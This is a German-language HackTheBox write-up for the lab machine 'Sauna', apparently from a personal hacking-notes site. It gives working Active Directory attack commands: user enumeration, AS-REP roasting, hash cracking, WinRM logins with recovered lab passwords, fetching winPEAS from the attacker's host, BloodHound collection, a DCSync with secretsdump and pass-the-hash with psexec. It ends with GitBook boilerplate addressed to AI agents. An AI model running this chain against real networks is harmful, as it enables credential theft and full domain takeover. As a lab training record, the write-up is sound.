> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Informationsleck
* LDAP-Enumeration
* Kerberos-Benutzer-Enumeration - Kerbrute
* AS-REP-Roasting-Angriff (GetNPUsers)
* Hashes knacken
* System-Enumeration - WinPEAS
* AutoLogon-Anmeldedaten
* BloodHound - SharpHound.ps1
* DCSync-Angriff - Secretsdump (Privilegieneskalation)
* Pass-the-Hash
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/b574144dec5be58989bb98ff33f4f76657883b01" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/298c36ff82b234015a5236b37d5aae57927d40ff" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/455e7b46d375f618f43bd4d751cee6a680807ae9" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="/files/a2639ed6767e33f10348e540e9d9738ddd3c35da" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/867d298279ffbcd31c7e9866e4877349b1331a86" alt=""><figcaption></figcaption></figure>

## **Auflistung und Ausnutzung:**

### **SMB-Aufklärung:**

CrackMapExec verwenden, um das Betriebssystem zu identifizieren

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/eb427d175d857d0af7ddae7a771230ce7bfef8df" alt=""><figcaption></figcaption></figure></div>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` vorhandenen Benutzern.<br>

<figure><img src="/files/38248ce77dc8102147ac579839c3cc75f9c9c48f" alt=""><figcaption></figcaption></figure>

#### Erkundung der SMB-Freigaben im Netzwerk, um freigegebene Ressourcen zu identifizieren, jedoch ohne Ergebnis.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/071a47d36c376b7a1bf9e2bffbb9a61100939e79" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/60e74c2e7dce467fe6aa9df741e405d20209cee0" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/160898beebfd35a83bcd43aac9e468e32a4b54e7" alt=""><figcaption></figcaption></figure>

### **RPC-Aufklärung:**

Verwendung von rpcclient zur Interaktion mit CPP-Diensten und zum Sammeln von Ressourceninformationen

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/781c558fe6d9f7c1d52ac3b6f61b00c7945d43b7" alt=""><figcaption></figcaption></figure>

### **LDAP-Aufklärung:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Analyse von LDAP-Informationen für Details zur Domänenstruktur und zu Benutzern.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/bd5c165fbe8f0b1b7f797e4884ee1f65c5c2ecce" alt=""><figcaption></figcaption></figure>

**Analyse von LDAP-Informationen**

Analyse von Details zur Struktur der Domäne und zu Benutzern.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAP-Benutzerfilterung**

Filter, um nur LDAP-Benutzer zu erhalten.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/b6a8d5aed06a31e1656d838c4852cc803e09c55f" alt=""><figcaption></figcaption></figure></div>

### Benutzerliste:

<figure><img src="/files/5f19bb14f18f104076b244c345159b0b3d4a200a" alt=""><figcaption></figcaption></figure>

#### Erstellen Sie eine `users.txt` Datei mit potenziellen Benutzernamen.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Benutzerliste über Kerberos**

Verwenden von `kerbrute` um gültige Benutzer aufzulisten.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/55643c0603d2ba690101cfed85519b979dc77bd8" alt=""><figcaption></figcaption></figure>

### **Benutzerliste über Impacket**

Verwenden von `impacket-GetNPUsers` um gültige Benutzer ohne Passwörter aufzulisten.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/dc31b6ade0fd0f72cba6d8796c4139ff2fe57e3a" alt=""><figcaption></figcaption></figure>

### Brute-Force-Angriff:

John verwenden, um den wiederhergestellten Hash zu knacken.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/c68df0c7287b4d72de9333bd3eeaabb72c8d2e01" alt=""><figcaption></figcaption></figure></div>

#### Verbindung und Fernsteuerung

WinRM verwenden, um sich aus der Ferne zu verbinden.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### Es funktioniert, aber ohne die pwned-Markierung ist keine Verbindung über WinRM möglich.

<figure><img src="/files/d4f0515da3e46414d8e59ca90e3ad6ed65c5630a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1de8d6c772b118f09ab89ce45b10a362bbed381b" alt=""><figcaption></figcaption></figure>

In diesem Beispiel ist die Verbindung möglich, weil der Benutzer fsmith Mitglied der Gruppe /\*Remote Management Users ist

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/fdd2ece33b13c0e48aaf1f429462c3feb2fa5046" alt=""><figcaption></figcaption></figure></div>

#### **Anmeldung mit Evil-WinRM**

Evil-WinRM für eine interaktive Verbindung über WinRM verwenden.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/e109b1e7ada89691913ae0dd2f7b93983e9dedd0" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

#### **Überprüfung besonderer Privilegien:**

Verwenden von `whoami /priv` um besondere Privilegien zu überprüfen.

<figure><img src="/files/381b9ef297e7cd035d44cc43ff26fa06ff64cc52" alt=""><figcaption></figcaption></figure>

#### **Nach neuen Benutzern suchen**

Verwenden von `net user` um nach neuen Benutzern zu suchen.

<figure><img src="/files/20c38f9d0457272bef1c8949a6adc073e566b11b" alt=""><figcaption></figcaption></figure>

**Suche nach Anmeldedaten für den Benutzer "svc/ loanmgr"**

### **Erkennung mit** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

winPEAS-Aufklärungstool herunterladen und ausführen

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/8d14302b484ebab30016a8b542a1ebe08908e8f9" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/af2839acc34e6a6ea7004ec2b0f9442b73537c42" alt=""><figcaption></figcaption></figure>

### Überprüfung der mit crackmapexec gefundenen IDs:

Automatische Anmeldedaten für Benutzer `svc_loanmgr` wurden gefunden, mit dem Passwort

<figure><img src="/files/8311feb3414beedf315119a4b78fea67efb59c40" alt=""><figcaption></figcaption></figure>

#### crackmapexec verwenden, um zu bestätigen, dass das Passwort korrekt ist.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/822c8c272f91486d5e42e79a4216dbebe70c3221" alt=""><figcaption></figcaption></figure></div>

### Verbindung mit den „svc/ loanmgr“-IDs:

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/062215be3561968af387f9058bec8b541fa0b2c2" alt=""><figcaption></figcaption></figure>

## Domänenliste mit BloodHound:

<details>

<summary>Installation von BloodHound:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Verbindung zu BloodHound mit den Anmeldedaten neo4j:neo4j.

<img src="/files/79a175a7a32bbf3bc3af9cd9aa42d0c60f72e24f" alt="" data-size="original">

#### BloodHound wird gestartet.

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/804c915bc8f2a741595e8f171d24bba34466cf3b" alt="" data-size="original">

</details>

### Informationen mit SharpHound.ps1 sammeln

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/592e2f93619255434e3d5b7fbc85bb98a0795803" alt=""><figcaption></figcaption></figure>

### Übertragung der gesammelten Daten nach Linux und Import in BloodHound

#### Eine ZIP-Datei mit den Ergebnissen der Sammlung erstellen.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Die ZIP-Datei vom Windows-Rechner nach Linux herunterladen.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### ZIP-Datei in BloodHound importieren.

<figure><img src="/files/e88fc9d756f2628c96ab3682bdd8abd43299e170" alt=""><figcaption></figcaption></figure>

### Analyse und Vorgehen:

#### Nach dem kürzesten Pfad zur Administration filtern

<figure><img src="/files/f6f78131ddd5c11b6a2f91009b7a636bd96beea2" alt=""><figcaption></figcaption></figure>

#### Das Tool zeigt die Möglichkeit an, einen DCSync-Angriff durchzuführen.

<div data-full-width="true"><figure><img src="/files/8bce186d857e4f00d8dddc86fa3c80af5f2551b2" alt=""><figcaption></figcaption></figure></div>

## DCSync-Angriff über die Schwachstelle:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### secretsdump verwenden, um den NT-Hash des Administrator-Benutzers zu erhalten.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/9b9e9c837eeafb1e0aec9df1bdc6b14147ab838e" alt=""><figcaption></figcaption></figure>

#### psexec verwenden, um eine cmd als Administrator mithilfe des NT-Hashes auszuführen.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/26fc60ac6690e47ac1af1aa9194cffae41c483cc" alt=""><figcaption></figcaption></figure>

### Finale Flagge :)

<figure><img src="/files/0d7f90efa865c176c0fe404ca25f57c4030824a6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ec336211821f43699ebdeeae599c86d2df5d13ac" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
